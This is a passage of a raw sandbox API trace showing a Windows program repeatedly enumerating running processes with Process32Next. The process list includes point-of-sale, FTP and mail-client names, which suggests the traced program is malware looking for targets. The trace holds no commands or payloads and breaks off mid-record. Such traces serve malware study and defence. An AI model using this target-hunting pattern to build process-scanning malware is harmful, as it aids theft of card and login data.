returned 1 [0251.637] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0251.639] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0251.640] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0251.642] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0251.644] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0251.645] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0251.647] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0251.649] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0251.650] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0251.652] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0251.653] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0251.654] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0251.656] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0251.657] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0251.659] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0251.661] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0251.662] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0251.664] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0251.665] CloseHandle (hObject=0x13b0) returned 1 [0251.665] Sleep (dwMilliseconds=0x64) [0251.709] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0251.720] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0251.721] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0251.723] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0251.724] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0251.725] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0251.727] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0251.728] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0251.730] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0251.731] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0251.732] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.734] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.735] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0251.737] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.738] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.740] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.742] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.743] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.744] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.746] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.747] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0251.748] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0251.750] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0251.751] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.796] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0251.798] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0251.800] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0251.801] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0251.803] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.804] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0251.805] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0251.807] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0251.808] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0251.811] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0251.812] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0251.814] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0251.816] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0251.818] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0251.819] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0251.821] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0251.823] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0251.825] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0251.827] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0251.829] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0251.881] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0251.883] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0251.884] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0251.885] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0251.887] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0251.888] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0251.890] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0251.891] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0251.894] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0251.895] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0251.897] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0251.899] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0251.901] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0251.903] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0251.905] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0251.907] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0251.910] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0251.912] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0251.914] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0251.917] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0251.919] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0251.921] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0251.923] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, 